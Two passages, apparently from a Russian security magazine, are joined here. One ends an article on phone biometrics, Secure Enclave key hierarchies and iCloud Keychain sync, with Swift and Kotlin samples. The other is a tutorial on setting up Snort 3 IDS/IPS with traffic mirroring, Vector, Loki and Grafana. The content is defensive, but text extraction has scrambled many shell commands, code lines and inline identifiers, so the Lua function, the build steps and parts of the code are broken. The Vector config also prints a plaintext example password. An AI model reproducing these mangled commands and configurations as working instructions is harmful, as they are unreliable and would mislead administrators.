• False Rejection Rate (FRR)

 — вероятность пропуска чужого.• False Acceptance Rate (FAR)

Apple заявляет для Face ID: FAR = 1 на 1 000 000. То есть шанс, что случайный
человек разблокирует твой iPhone своим лицом,  — один на  миллион.
Для Touch ID FAR = 1 на 50 000.

Шаг 4: возврат результата
Secure Enclave возвращает наружу (в драйвер, затем в систему, затем в при‐
ложение) только булев результат:

result = (similarity > threshold) ? MATCH : NO_MATCH

Исходные сканы, дескрипторы, similarity score  — все это  остается внутри
Enclave и уничтожается после завершения операции.

Приложение получает простой ответ: «Да, это владелец» или «Нет, это не
владелец».

Продолжение статьи →
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СВОЙ-ЧУЖОЙ
КАК РАБОТАЕТ БИОМЕТРИЯ

И SECURE ENCLAVE
В СОВРЕМЕННЫХ ТЕЛЕФОНАХ

КОДИНГ  НАЧАЛО СТАТЬИ←

ИЕРАРХИЯ КРИПТОГРАФИЧЕСКИХ КЛЮЧЕЙ

Слабый пароль — слабый ключ
Пароль  — это  криптографический ключ. Вернее, из  пароля выводится ключ
с помощью функции KDF (Key Derivation Function), например PBKDF2.

Проблема в  том, что большинство пользователей выбирают слабые
пароли. Исследования показывают:

23% пользователей используют пароль ;• 12345
50% паролей можно подобрать за несколько часов с помощью словарной
атаки.

•

Даже если ты используешь PBKDF2  с  большим количеством итераций (нап‐
ример, 100  000), это  лишь замедляет перебор, но  не делает его невоз‐
можным. Если пароль слабый, ключ слабый.

Сильный пароль выглядит так: . Пользователь его
либо забудет, либо запишет на стикере рядом с монитором.

Xk9#mL$vQ2@nP5!wT

Сильная биометрия
Биометрия решает другую задачу. Она не   криптографическим клю‐

чом напрямую (биометрические данные имеют вариативность, и нельзя каж‐
дый раз получать абсолютно идентичный хеш). Вместо этого биометрия слу‐
жит  заранее сгенерированного сильного ключа.

является

способом разблокировки

Схема работает так:
1. Система генерирует криптографически стойкий случайный ключ (нап‐

ример, 256-битный AES-ключ).
2. Этот ключ сохраняется в Secure Enclave, зашифрованный аппаратным UID.
3. Ключ помечается атрибутом: «доступен только после биометрической

аутентификации».
4. Когда приложение пытается использовать ключ, Secure Enclave проверяет

биометрию.
5. Если проверка успешна, Enclave временно разблокирует ключ и выполняет

с ним запрошенную операцию (шифрование, подпись).
6. Сам ключ наружу не передается.

Получается, что биометрия — это удобный, быстрый, незабываемый способ
доказать системе, что вы  — это  вы. А  настоящая криптография происходит
с сильными ключами, которые пользователь никогда не видит и не вводит.

Практическая схема в iOS Keychain / Android Keystore
Давай посмотрим, как это выглядит в коде.

iOS Keychain с биометрией
iOS Keychain  — это  защищенное хранилище для  паролей, ключей и  сер‐
тификатов. Ты можешь создать ключ, привязанный к биометрии:

 import Security

  func generateBiometricProtectedKey() {
    // Создаем Access Control с требованием биометрии
        guard let access = SecAccessControlCreateWithFlags(

         nil, // Allocator
        kSecAttrAccessibleWhenUnlockedThisDeviceOnly,

         .biometryCurrentSet, // Требуется биометрия; инвалидируется 
при изменении биометрии

         nil // Error
      ) else {
        print("Не удалось создать Access Control")
        return
    }

    // Параметры для генерации ключа
         let attributes: [String: Any] = [

            kSecAttrKeyType as String: kSecAttrKeyTypeECSECPrimeRandom,
// Elliptic Curve key

           kSecAttrKeySizeInBits as String: 256,
            kSecAttrTokenID as String: kSecAttrTokenIDSecureEnclave, // 

Ключ создается в Secure Enclave
           kSecPrivateKeyAttrs as String: [

               kSecAttrIsPermanent as String: true,
   

 
            kSecAttrApplicationTag as String: "com.example.myapp.key"
.data(using: .utf8)!,

               kSecAttrAccessControl as String: access
        ]
    ]

      var error: Unmanaged<CFError>?
          

   
guard let privateKey = SecKeyCreateRandomKey(attributes as

CFDictionary, &error) else {
        print("Ошибка создания ключа: \(error.debugDescription)")
        return
    }

    print("Ключ успешно создан в Secure Enclave")
}

Этот код создает приватный ключ ECDSA размером  256  бит. Обрати вни‐
мание на основные атрибуты:

  — ключ создается и  хранится
в Secure Enclave. Он никогда не попадет в обычную память;

• kSecAttrTokenIDSecureEnclave

  — ключ можно использовать только после
успешной биометрической аутентификации. Если пользователь изменит
свою биометрию (добавит новый отпечаток, перенастроит Face ID), ключ
автоматически инвалидируется для безопасности.

• .biometryCurrentSet

Теперь, если тебе нужно подписать данные этим ключом:

   func signData(data: Data) {
    // Получаем ключ из Keychain
         let query: [String: Any] = [

           kSecClass as String: kSecClassKey,
   

 
        kSecAttrApplicationTag as String: "com.example.myapp.key".
data(using: .utf8)!,

           kSecAttrKeyType as String: kSecAttrKeyTypeECSECPrimeRandom,
           kSecReturnRef as String: true

    ]

      var item: CFTypeRef?
          let status = SecItemCopyMatching(query as CFDictionary, &item)

         guard status == errSecSuccess else {
        print("Ключ не найден")
        return
    }

         let privateKey = item as! SecKey

    // Подписываем данные
    // Этот вызов автоматически запустит биометрический промпт!
      var error: Unmanaged<CFError>?
        guard let signature = SecKeyCreateSignature(
        privateKey,
        .ecdsaSignatureMessageX962SHA256,

          data as CFData,
        &error
      ) else {
        print("Ошибка подписи: \(error.debugDescription)")
        return
    }

    print("Данные успешно подписаны. Подпись: \(signature)")
}

Магия происходит в  вызове . Когда ты пытаешься

использовать ключ, защищенный биометрией:

SecKeyCreateSignature

1. Система автоматически показывает промпт Face ID / Touch ID.
2. Пользователь проходит аутентификацию.
3. Secure Enclave временно разблокирует ключ.
4. Enclave выполняет операцию подписи .внутри себя

5. Готовая подпись возвращается приложению.

 Даже

твое приложение его не  видит. Ты оперируешь ссылкой ( ), которая
указывает на ключ внутри Enclave, но не содержит его значение.

Сам приватный ключ никогда не  покидает Secure Enclave.

SecKey

Android Keystore с биометрией
На Android схема похожая, но API немного другой.

 import android.security.keystore.KeyGenParameterSpec
 import android.security.keystore.KeyProperties
 import java.security.KeyStore
 import javax.crypto.KeyGenerator

  fun generateBiometricProtectedKey() {
       val keyGenerator = KeyGenerator.getInstance(
        KeyProperties.KEY_ALGORITHM_AES,
        // Используем Android Keystore
        "AndroidKeyStore"
    )

       val keyGenParameterSpec = KeyGenParameterSpec.Builder(
        "my_secure_key",

          KeyProperties.PURPOSE_ENCRYPT or KeyProperties.
PURPOSE_DECRYPT
    )
        .setBlockModes(KeyProperties.BLOCK_MODE_GCM)
        .setEncryptionPaddings(KeyProperties.ENCRYPTION_PADDING_NONE)
        // Требуется аутентификация
        .setUserAuthenticationRequired(true)
        .setUserAuthenticationParameters(
                // Тайм-аут в секундах (0 = каждый раз)
            0,
            // Только сильная биометрия
            KeyProperties.AUTH_BIOMETRIC_STRONG
        )
        // Использовать StrongBox, если доступен
        .setIsStrongBoxBacked(true)
        .build()

    keyGenerator.init(keyGenParameterSpec)
       val secretKey = keyGenerator.generateKey()

    println("Ключ создан в Keystore")
}

Ключевые параметры:
  — ключ требует аутен‐

тификации;
• setUserAuthenticationRequired(true)

  — требуется сильная биометрия (класс  3)
при каждом использовании;

• setUserAuthenticationParameters(0,
AUTH_BIOMETRIC_STRONG)

  — если устройство поддерживает
StrongBox (аппаратный модуль безопасности), ключ сохраняется там.

• setIsStrongBoxBacked(true)

Теперь используем ключ для шифрования:

 import androidx.biometric.BiometricPrompt
 import javax.crypto.Cipher

   fun encryptData(data: ByteArray) {
    // Получаем ключ из Keystore
       val keyStore = KeyStore.getInstance("AndroidKeyStore")
    keyStore.load(null)
          val secretKey = keyStore.getKey("my_secure_key", null) as javax.
crypto.SecretKey

    // Инициализируем Cipher
       val cipher = Cipher.getInstance("AES/GCM/NoPadding")
     cipher.init(Cipher.ENCRYPT_MODE, secretKey)

    // Создаем BiometricPrompt с CryptoObject
        val biometricPrompt = BiometricPrompt(this, executor,

          object : BiometricPrompt.AuthenticationCallback() {
   

 
            override fun onAuthenticationSucceeded(result:
BiometricPrompt.AuthenticationResult) {
                // Получаем Cipher, который теперь разблокирован

                   val authenticatedCipher = result.cryptoObject?.cipher

                    if (authenticatedCipher != null) {
                       val encryptedData = authenticatedCipher.doFinal(

data)
                    println("Данные зашифрованы: ${encryptedData.
toHexString()}")
                }
            }
        })

       val promptInfo = BiometricPrompt.PromptInfo.Builder()
        .setTitle("Шифрование данных")
        .setSubtitle("Используйте биометрию")
        .setNegativeButtonText("Отмена")
        .build()

    // Передаем CryptoObject с Cipher
     biometricPrompt.authenticate(promptInfo, BiometricPrompt.
CryptoObject(cipher))
}

Процесс:
1. Ты создаешь  и инициализируешь его ключом из Keystore.Cipher
2. Передаешь  в   через .Cipher BiometricPrompt CryptoObject
3. Система показывает биометрический промпт.
4. После успешной аутентификации в TrustZone/StrongBox ключ разблокиру‐

ется.
5. Ты получаешь обратно , который теперь готов к шифрованию.Cipher
6. Ключ остается в Keystore, ты работаешь только с  .Cipher

Иерархия ключей
Реальная архитектура ключей еще  сложнее. Внутри Secure Enclave
и StrongBox существует целая иерархия.

Уровень 1: Root Key (UID/PUID)
Вшит в чип на производстве.•
Неизвлекаем.•
Используется только для шифрования следующего уровня.•

Уровень 2: Device Key
Производный от UID и энтропии, сгенерированной при первой настройке
устройства.

•

Хранится в Secure Enclave / StrongBox, зашифрованный UID.•

Уровень 3: Class Keys
Производные от Device Key + пасскод пользователя (если установлен).•
Есть несколько классов защиты данных (на iOS):•

  — данные доступны, только когда
устройство разблокировано;

• NSFileProtectionComplete

  — файл можно открыть
при разблокировке и продолжать использовать после блокировки;

• NSFileProtectionCompleteUnlessOpen

  —
после первой разблокировки после перезагрузки.

• NSFileProtectionCompleteUntilFirstUserAuthentication

Уровень 4: File/Item Keys
Индивидуальные ключи для каждого файла или записи Keychain.•
Зашифрованы соответствующим Class Key.•

Когда ты используешь биометрию:
1. Биометрия верифицируется в Secure Enclave.
2. Enclave разблокирует соответствующий Class Key.
3. Class Key расшифровывает Item Key.
4. Item Key используется для  расшифровки твоих данных или  выполнения

криптографической операции.

Все эти операции происходят внутри Enclave. Наружу передается только
результат (расшифрованные данные или подпись), но не сами ключи.

СЦЕНАРИИ СИНХРОНИЗАЦИИ (ICLOUD KEYCHAIN)

Что случится при потере устройства?
Если биометрия и  криптографические ключи существуют только на  одном
устройстве, возникает проблема: что делать при его потере или поломке?

Покупаешь новый iPhone, и все твои пароли, Passkeys, ключи — потеряны?
Это  неприемлемо. Но  и хранить ключи в  облаке незашифрованными тоже
нельзя — это прямой путь к утечке.

Сквозное шифрование iCloud Keychain
В Apple решили проблему с  помощью  (E2EE)

в iCloud Keychain. Давай разберем схему его работы.

end-to-end encryption

На устройстве-источнике
1. Твои данные Keychain (пароли, ключи, Passkeys) собираются в  специаль‐

ную структуру.
2. Генерируется симметричный ключ шифрования Keychain (назовем его

KEK — Keychain Encryption Key).
3. Данные шифруются с помощью KEK алгоритмом AES-128-GCM.
4. KEK сам шифруется с помощью производного от пасскода твоего устрой‐

ства или  случайного iCloud Security Code (если настроен). Либо исполь‐
зуется схема escrow с доверенными устройствами.

5. Зашифрованный Keychain и зашифрованный KEK отправляются в iCloud.

В iCloud
Хранится зашифрованный blob данных.•
Apple . На той стороне нет твоего пасско‐

да и Security Code.

• не имеет ключа расшифровки

Человек, имеющий доступ к  хранилищу, видит только зашифрованный
набор байтов.

•

Это принципиально отличается от  обычного iCloud Backup (который Apple
может расшифровать по  запросу правоохранительных органов). iCloud
Keychain с E2EE — нет.

На новом устройстве
1. Ты настраиваешь новый iPhone и включаешь iCloud Keychain.
2. Система запрашивает один из способов авторизации:

код подтверждения со старого доверенного устройства;•
iCloud Security Code;•
SMS-код + пасскод устройства (для recovery).•

3. После авторизации новое устройство получает KEK.
4. KEK расшифровывает данные Keychain из iCloud.
5. Расшифрованные ключи сохраняются в  Keychain нового устройства, при‐

вязываясь к его Secure Enclave.

Роль биометрии в процессе синхронизации
Биометрия напрямую не участвует в синхронизации между устройствами. Вот
почему:

Биометрические шаблоны уникальны для каждого Secure Enclave. Их нель‐
зя экспортировать или передать.

•

На новом устройстве, когда ты настраиваешь Face ID / Touch ID, заново
создается новый шаблон, привязанный к новому Secure Enclave.

•

Но биометрия играет косвенную роль.

Шаг 1: настройка нового устройства
Когда пользователь настраивает новый iPhone, он устанавливает пасскод
и  тренирует Face ID (создается новый биометрический шаблон в  новом
Secure Enclave).

Шаг 2: восстановление Keychain
Пользователь авторизуется для  получения iCloud Keychain (например, через
код со  старого устройства). Новое устройство скачивает зашифрованный
Keychain из  iCloud, расшифровывает его с помощью KEK и сохраняет ключи
в свой локальный Keychain.

Шаг 3: привязка к новой биометрии
Теперь ключи хранятся в Keychain нового устройства. Когда приложение зап‐
рашивает ключ, защищенный биометрией, система использует 

 (новый Face ID, настроенный на  новом устройстве). Новая
биометрия разблокирует доступ к  ключам, которые теперь привязаны
к новому Secure Enclave.

новую

биометрию

Фактически ключи «перепривязываются» к новому аппаратному контексту.
Старый Secure Enclave больше не  имеет значения  — он может быть унич‐
тожен вместе со старым iPhone.

Сценарий с Advanced Data Protection
Apple недавно ввела   — режим, где почти все

данные iCloud (включая Photos, Notes, Backups) шифруются E2EE, не  только
Keychain.

Advanced Data Protection

В этом режиме:
ключи шифрования хранятся только на твоих доверенных устройствах;•
Recovery возможен только через доверенное устройство или  Recovery
Contact (доверенный человек, которого ты выбрал);

•

Apple физически не может расшифровать данные пользователей.•

Биометрия здесь служит удобным способом разблокировки доступа к ключам
на каждом устройстве, но сама не синхронизируется.

ВЫВОДЫ

Современная мобильная биометрия позволяет создать невозможный
для  копирования, аппаратно защищенный  (Trust Anchor)

прямо на устройстве пользователя.

доверенный узел

Смартфон становится главным цифровым паспортом. Он не  доверяет
ни облаку, ни даже собственной операционной системе. Только выделенному
чипу — Secure Enclave или StrongBox, где хранятся секреты в форме, не дос‐
тупной никому другому.

Я разрабатываю приложения больше десяти лет, и это первая технология,
которая действительно решает дилемму «безопасность vs удобство». Раньше
приходилось выбирать: либо сложный пароль, либо простой PIN. Первое
может утечь, второе реально подобрать.

Теперь же просто прикладываешь палец или  смотришь в  камеру  —
и  получаешь криптографию банковского уровня. Биометрия разблокиру‐
ет 256-битный ключ, который существует только в аппаратном сейфе и никог‐
да не покидает его. © X
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В этой статье разберем, как  настроить
опенсорсную систему обнаружения втор‐
жений, которая не просто выявляет угрозы,
а  еще и  при интеграции, например,
с  Fail2Ban активно противодействует им
и  предоставляет удобные инструменты
для  просмотра информации о  том, какая
это атака и откуда она идет. Мой выбор пал
на Snort 3.

В «Хакере» несколько лет назад уже  установку Snort, но речь шла
о второй версии, а мне хотелось именно третью.

разбирали

Я давний поклонник Red Hat и всю установку буду выполнять на Rocky Linux
10. Почти все how-to написаны для Ubuntu, поэтому наша версия будет осо‐
бой.

Предположим, что у  нас несколько серверов Snort и  нам нужно следить
за  ресурсами, которые смотрят наружу: почтовым сервером Exchange,
обратным прокси на Nginx и пограничным офисным роутером Cisco. Дальше
все это соберем на одном сервере Grafana и будем визуализировать атаки.

Внедрив Snort, мы сможем:
1. Выявлять не  только известные атаки по  сигнатурам, но  и аномальную

активность, например сканирование портов.
2. Автоматически блокировать источники атак на  Nginx за  счет интеграции

с Fail2Ban.
3. Понимать, что происходит в сети: визуализация в Grafana показывает геог‐

рафию, интенсивность и типы атак.

Итак, начнем.
Скачиваем .образ Rocky Linux
Заходим в гипервизор и создаем виртуальную машину с такими парамет‐

рами: 2 vCPU, 4 Гбайт ОЗУ, 25 Гбайт HDD. В итоге получаем свежеустанов‐
ленный сервер.

Первое, что нужно сделать, — обновить систему:

sudo yum update -y

Подключаем нужный репозиторий и устанавливаем необходимые тулзы:

yum  sudo -y install epel-release net-tools openssl openssl-devel 
bind-utils openssh-clients wget telnet traceroute tcpdump zip unzip 
tar chrony setools-console policycoreutils-python-utils

Так как у меня виртуальная машина на VMware, ставлю VMware Tools:

yum  sudo -y install open-vm-tools

Настроим синхронизацию времени нашего сервера Snort и  NTP-сервера
сети компании (у меня это контроллер домена с именем dc1.mydomain.local):

  sudo sed -i 's/^pool .*/server dc1.mydomain.local iburst/' /etc/
chrony.conf
sudo systemctl enable chronyd
sudo systemctl restart chronyd

Перезагрузим ОС:

sudo reboot

Устанавливаем библиотеки, нужные для сборки Snort:

 sudo yum groupinstall -y "Development Tools"
yum  sudo install -y libdnet-devel libunwind-devel cmake hwloc-devel 

luajit-devel

Переходим в каталог  — именно там будем собирать Snort из исходников:opt

cd /opt

Установим и соберем библиотеку libdaq для сбора данных:

 crbsudo yum config-manager --set-enabled
yum  sudo install -y libpcap-devel pcre2-devel

sudo git clone https://github.com/snort3/libdaq.git
cd libdaq
sudo ./bootstrap
sudo ./configure

makesudo 
make sudo install

 ../cd

Установим и  соберем инструмент для  анализа производительности
и управления памятью gperftools:

sudo git clone https://github.com/gperftools/gperftools.git
cd gperftools
sudo ./autogen.sh
sudo ./configure

makesudo 
make sudo install

 ../cd

Установим и соберем сам Snort 3:

sudo git clone https://github.com/snort3/snort3.git
cd snort3
sudo ldconfig
export PKG_CONFIG_PATH=/usr/local/lib64/pkgconfig:/usr/local/lib/
pkgconfig:$PKG_CONFIG_PATH

/ sudo ./configure_cmake.sh --prefix= --enable-tcmalloc
cd build

make sudo -j"$(nproc)"
make sudo install

cd ../../

Проверим версию:

  | sudo echo '/usr/local/lib' sudo tee /etc/ld.so.conf.d/local.conf
sudo ldconfig
sudo snort -V

Отлично, Snort 3 установлен.

Создадим необходимые каталоги и файлы:

sudo mkdir /etc/snort/appid
sudo mkdir /var/log/snort/
sudo touch /var/log/snort/alert_json.txt
sudo chmod 644 /var/log/snort/alert_json.txt

Установим плагин OpenAppID для детекции различных приложений:

sudo wget https://www.snort.org/downloads/openappid/33380 -O snort-
openappid-33380.tar.gz

 sudo tar -xzvf snort-openappid-33380.tar.gz
 sudo cp -R odp /etc/snort/appid

Далее  на  snort.org по  ссылке, а  затем в  личном кабинете
на панели перейди в раздел Oinkcode.

зарегистрируйся

Идентификатор Oinkcode нужен, чтобы скачивать свежие наборы сигнатур.
В личном кабинете их можно скачать сразу.

sudo mkdir /opt/snortrules

cd /opt/snortrules

sudo wget https://www.snort.org/rules/snortrules-snapshot-31470.tar.
gz?oinkcode=ТУТ_ТВОЙ_OINKCODE_ИЗ_ЛИЧНОГО_КАБИНЕТА -O snortrules-
snapshot- 31470.tar.gz

Автоматическое обновление сигнатур я не настраивал, потому что в текущих
было слишком много ложных срабатываний, а  некоторые правила я менял
вручную. Теперь скопируем только что скачанные сигнатуры в каталог с уста‐
новленным Snort:

 sudo tar -xzvf snortrules-snapshot-31470.tar.gz
 sudo cp -R rules /etc/snort
 sudo cp -R so_rules /etc/snort

Правила из каталога  обеспечивают высокопроизводительное обна‐

ружение сложных угроз, а  традиционные правила из   дают нашей
будущей IDS гибкость и прозрачность.

so_rules
rules

Теперь добавим Snort в политики SELinux:

 sudo semanage fcontext -a -t snort_etc_t "/etc/snort(/.*)?"
sudo restorecon -Rv /etc/snort

 sudo semanage fcontext -a -t snort_log_t "/var/log/snort(/.*)?"
sudo restorecon -Rv /var/log/snort

 sudo semanage fcontext -a -t snort_rules_t "/etc/snort/rules(/.*)?" 
2>/dev/null
sudo restorecon -Rv /etc/snort/rules 2>/dev/null

Давай теперь настроим и запустим Snort.
По умолчанию в  логи пишутся IP и  порт атакуемого и  атакующего в  фор‐

мате , нам нужно разделить их.IP:PORT
Редактируем файл  и  в секцию «7. Configure

outputs» добавляем следующие строки:

/etc/snort/snort.lua

 alert_json =
{
    file = true,
    fields = 'timestamp proto src_addr src_port dst_addr dst_port rule 
action sid gid rev msg class priority',
    limit = 500
}

Добавим детектирование разных приложений  — для  этого перейдем в  сек‐
цию «2. Configure inspection»:

 ,app_detector_dir = '/etc/snort/appid'
 log_stats = true

И изменим секцию «1. Configure defaults»: поправим   — это  твои
локальные сети и внешний , а   — все недомашние сети. Так‐

же в  эту секцию добавим список игнорируемых адресов, чтобы не  засорять
лог информацией о легитимных внешних ресурсах.

HOME_NET
IP EXTERNAL_NET

 HOME_NET = '192.168.55.0/24,123.12.34.99/32'
 EXTERNAL_NET = '!$HOME_NET'

include 'snort_defaults.lua'
dofile('/etc/snort/ignoreip-list.lua')

tlocal function to_bracket_list( )
   t,  .. return '[' .. table.concat( ', ') ']'
end
local IGN_LIST = to_bracket_list(IGNORE_IPS)

 RULE_PATH = '/etc/snort/rules'

Создадим файл  и  добавим в  него все известные нам

сервисы, которые нужно игнорировать в алертах.

ignoreip-list.lua

 sudo tee /etc/snort/ignoreip-list.lua > /dev/null << 'EOF'
IGNORE_IPS = {
    '77.88.8.1',          -- Yandex DNS
    '77.88.8.3',          -- Yandex DNS
    '77.88.8.8',          -- Yandex DNS
    '159.124.0.0/16',     -- Zoom Video
    '149.137.0.0/17',     -- Zoom Video
    '206.247.0.0/16',     -- Zoom Video
    '144.195.0.0/16',     -- Zoom Video
    '17.0.0.0/8',         -- Apple
    '52.112.0.0/14',      -- Microsoft Corporation
    '52.96.0.0/12',       -- Microsoft Corporation
    '185.226.52.0/23',    -- ODNOKLASSNIKI
    '185.6.244.0/23',     -- VK
    '185.10.209.0/24',    -- QRATOR
    '185.94.108.0/22',    -- QRATOR
    '37.9.64.0/24',       -- CDN Yandex
}
EOF

Далее создадим файл с подключаемыми . Для прокси у меня он такой:rules

 sudo tee /etc/snort/rules/includemyproxy.rules > /dev/null << 'EOF'
include snort3-server-apache.rules
include snort3-server-mysql.rules
include snort3-os-linux.rules
include snort3-app-detect.rules
include snort3-file-java.rules
include snort3-file-flash.rules
include snort3-file-executable.rules
include snort3-content-replace.rules
include snort3-exploit-kit.rules
include snort3-indicator-compromise.rules
include snort3-indicator-scan.rules
include snort3-indicator-shellcode.rules
include snort3-malware-cnc.rules
include snort3-malware-other.rules
include snort3-malware-tools.rules
include snort3-policy-spam.rules
include snort3-protocol-rpc.rules
include snort3-server-webapp.rules
EOF

Включим режим IPS, изменим секцию «5. Configure detection» и добавим сле‐
дующие строки:

    enable_builtin_rules = false,
    variables = default_variables,
    rules = ( [[
          pass ip %s any <> any any (msg:"PASS ignore list"; sid:
9000001; rev:1;)
          include /etc/snort/rules/includemyproxy.rules
    ]] ):format(IGN_LIST)

Проверим наш конфигурационный файл на ошибки:

sudo /bin/snort -c /etc/snort/snort.lua --daq-dir /usr/local/lib/daq

Если в  ответ получаем «Snort successfully validated the  configuration (with 0
warnings)» — значит, все прекрасно.

А теперь очень важный момент: подключать Snort в режиме обнаружения
вторжений нужно к порту SPAN. На прокси‑сервере (у меня это CentOS: один
интерфейс смотрит наружу, второй  — во  внутреннюю сеть) будем исполь‐
зовать TEE  — программную эмуляцию функциональности SPAN на  сервере
с Linux.

Схема такая: Internet → CentOS-прокси → iptables TEE → Rocky Linux Snort.
В  этом случае будет расти нагрузка на  CPU виртуалки с  прокси‑сервером,
поэтому добавим ей еще один vCPU — и все будет хорошо.

На сервере с прокси (повторюсь, у меня это CentOS) вводим

sudo cp /etc/sysconfig/iptables /etc/sysconfig/iptables_NoTEE
 TEE sudo iptables -t mangle -I PREROUTING -i ens224 -j --gateway 192.

168.55.201
 TEE sudo iptables -t mangle -I POSTROUTING -o ens224 -j --gateway 

192.168.55.201
 TEE sudo iptables -t mangle -I FORWARD -i ens192 -o ens192 -j

--gateway 192.168.55.201
sudo service iptables save

На сервере со Snort проверяем:

sudo tcpdump -i ens192 -n host 123.12.34.99

Если видим трафик, значит, все сделали верно.
Запустим Snort как службу:

sudo tee /etc/systemd/system/snort3.service > /dev/null << 'EOF'
[Unit]
Description=Snort NIDS
After=network.target

[Service]
ExecStart=/bin/snort -c /etc/snort/snort.lua --daq afpacket --daq-
dir /usr/local/lib/daq -i ens192 -l /var/log/snort
User=root
Group=root
Type=simple
Restart=always
RestartSec=10

[Install]
WantedBy=multi-user.target
EOF

sudo systemctl daemon-reload
sudo systemctl enable snort3
sudo systemctl start snort3
sudo systemctl status snort3

Отлично! Первый шаг сделан.
Следующая задача — обогатить данные по геолокации на основе 

и  передать эту информацию в  Grafana, чтобы полностью визуализировать
атаки на наши ресурсы.

src IP

Для этих целей будем использовать Vector. Ставим его:

yum  sudo install -y https://yum.vector.dev/stable/vector-0/x86_64/
vector-0.49.0-1.x86_64.rpm

Далее нужно скачать геобазу. Для  этого зарегистрируйся на  сайте
.maxmind.com

После регистрации заходим в личный кабинет, нажимаем на ссылку Download
Databases и скачиваем два файла в архиве GZIP:

 GeoIP2 Binary (.mmdb);• GeoLite2-City
 GeoIP2 Binary (.mmdb).• GeoLite2-Country

Распаковываем их и закидываем в  ./etc/vector
Ну или прямо там, в личном кабинете MaxMind, генерируем лицензионный

ключ и скачиваем его из консоли:

wget sudo -O /etc/vector/GeoLite2-Country.mmdb "https://download.
maxmind.com/app/geoip_download?edition_id=GeoLite2-Country&
license_key=ТУТ_ТВОЙ_ЛИЦЕНЗИОННЫЙ_КЛЮЧ&suffix=tar.gz"

wget -O /etc/vector/GeoLite2-City.mmdb "https://download.maxmind.com/
app/geoip_download?edition_id=GeoLite2-City&
license_key=ТУТ_ТВОЙ_ЛИЦЕНЗИОННЫЙ_КЛЮЧ&suffix=tar.gz"

Продолжение статьи →

mailto:belkind84@yandex.ru
https://xakep.ru/2018/11/14/snort-rules/
https://download.rockylinux.org/pub/rocky/10/isos/x86_64/Rocky-10.1-x86_64-dvd1.iso
https://www.snort.org/users/sign_in
https://www.maxmind.com/
https://disk.yandex.ru/d/ZWkxZxXnOuKgcA
https://disk.yandex.ru/d/FOyyFwWFkSYQjA


БОЕВОЙ SNORT
РАЗВОРАЧИВАЕМ ОПЕНСОРСНУЮ
IDS/IPS И УЧИМ ЕЕ ДАВАТЬ ОТПОР

ADMIN  НАЧАЛО СТАТЬИ←

Создаем конфиг Vector:

 sudo tee /etc/vector/vector.toml > /dev/null << 'EOF'
[enrichment_tables.country]
type = "mmdb"
path = "/etc/vector/GeoLite2-Country.mmdb"

[enrichment_tables.city]
type = "mmdb"
path = "/etc/vector/GeoLite2-City.mmdb"

[sources.snort3]
type      = "file"
include   = ["/var/log/snort/alert_json*.txt"]
read_from = "end"
fingerprint.strategy = "checksum"

[transforms.parse]
type   = "remap"
inputs = ["snort3"]
source = '''
parsed = parse_json!(.message)
if is_object(parsed) {
  . = merge!(., parsed)
  del(.message)
}

if exists(.src_addr) { .src = to_string!(.src_addr) }
if exists(.dst_addr) { .dst = to_string!(.dst_addr) }
if exists(.src_port) { .sport = .src_port }
if exists(.dst_port) { .dport = .dst_port }

if exists(.timestamp) {
  year    = format_timestamp(now(), format: "%Y") ?? "1970"
  ts_text = to_string!(.timestamp)
  ts_full = year + "/" + ts_text
  ts_parsed = parse_timestamp(ts_full, format: "%Y/%m/%d-%H:%M:%S%.
f", timezone: "Europe/Moscow") ?? null
  if ts_parsed != null { .timestamp = ts_parsed } else { .timestamp 
= now() }
} else {
  .timestamp = now()
}

if exists(.alert) && is_object(.alert) {
  if exists(.alert.signature_id) { .sid = .alert.signature_id }
  if exists(.alert.gid)          { .gid = .alert.gid }
  if exists(.alert.rev)          { .rev = .alert.rev }
  if exists(.alert.priority)     { .priority = .alert.priority }
  if exists(.alert.signature)    { .msg = .alert.signature }
}
'''
[transforms.geoip_lookup]
type   = "remap"
inputs = ["parse"]
source = '''
if exists(.src) && is_string(.src) {
  geo = get_enrichment_table_record!("country", {"ip": .src})
  if is_object(geo) && exists(geo.country) && is_object(geo.country) 
&& exists(geo.country.iso_code) {
    .country = geo.country.iso_code
  }
}

if exists(.src) && is_string(.src) {
  city = get_enrichment_table_record!("city", {"ip": .src})
  if is_object(city) && exists(city.location) && is_object(city.
location) {
    if exists(city.location.latitude)  { .lat = to_float!(city.
location.latitude) }
    if exists(city.location.longitude) { .lon = to_float!(city.
location.longitude) }
  }
}

if exists(.timestamp) {
  year    = format_timestamp(now(), format: "%Y") ?? "1970"
  ts_text = to_string(.timestamp) ?? ""
  ts_full = year + "/" + ts_text

  ts_parsed = parse_timestamp(ts_full, format: "%Y/%m/%d-%H:%M:%S%.
f", timezone: "Europe/Moscow") ?? null
  if ts_parsed != null {
    .timestamp = ts_parsed
  } else {
    .timestamp = now()
  }
} else {
  .timestamp = now()
}
'''
[sinks.loki]
type                = "loki"
inputs              = ["geoip_lookup"]
endpoint            = "http://192.168.55.200:3100"
auth.strategy       = "basic"
auth.user           = "l0k1Sn0rT"
auth.password       = "d7(JPKBp3MF95faqD"
encoding.codec      = "json"
healthcheck.enabled = true
labels = { job = "snort_nginx", server = "192.168.55.201", pipeline 
= "vector" }

batch.max_events    = 500
batch.timeout_secs  = 2
request.concurrency = 2

[api]
  enabled = true
  address = "127.0.0.1:8686"
  playground = true
EOF

В файле  замени следующие значения своими:/etc/vector/vector.toml
, если у  тебя часовой пояс не  Москва

(таких строк в конфиге две);
• timezone: "Europe/Moscow"

  — это  адрес и  порт
сервера с Grafana;

• endpoint = "http://192.168.55.200:3100"

 — это имя задания, чтобы в Grafana было понят‐
но, с какого сервера Snort визуализируются данные;

• job = "snort_nginx"

 — это IP-адрес сервера Snort;• server = "192.168.55.201"
  — это  пользователь, под  которым происходит

авторизация;
• user = "l0k1Sn0rT"

  — пароль этого пользователя
для авторизации.

• password = "d7(JPKBp3MF95faqD"

Далее проверим конфиг на ошибки:

sudo vector validate /etc/vector/vector.toml

Создадим стандартный конфиг для Vector и укажем путь к нашему файлу кон‐
фигурации:

sudo tee /etc/default/vector >/dev/null <<'EOF'
VECTOR_CONFIG=/etc/vector/vector.toml
VECTOR_LOG=info
EOF

Теперь немного о  Grafana. Она у  меня тоже работает на  Rocky Linux, IP-
адрес  — 192.168.55.200. Для  приема логов с  сервера Snort через Vector
будем использовать Loki:

sudo yum -y install epel-release net-tools openssl openssl-devel 
bind-utils openssh-clients wget telnet traceroute tcpdump zip unzip 
iptables-services
sudo yum -y install tar open-vm-tools chrony
sudo useradd --system --no-create-home --shell /bin/false loki
sudo mkdir -p /opt/loki/{data,chunks} /etc/loki
cd /opt/
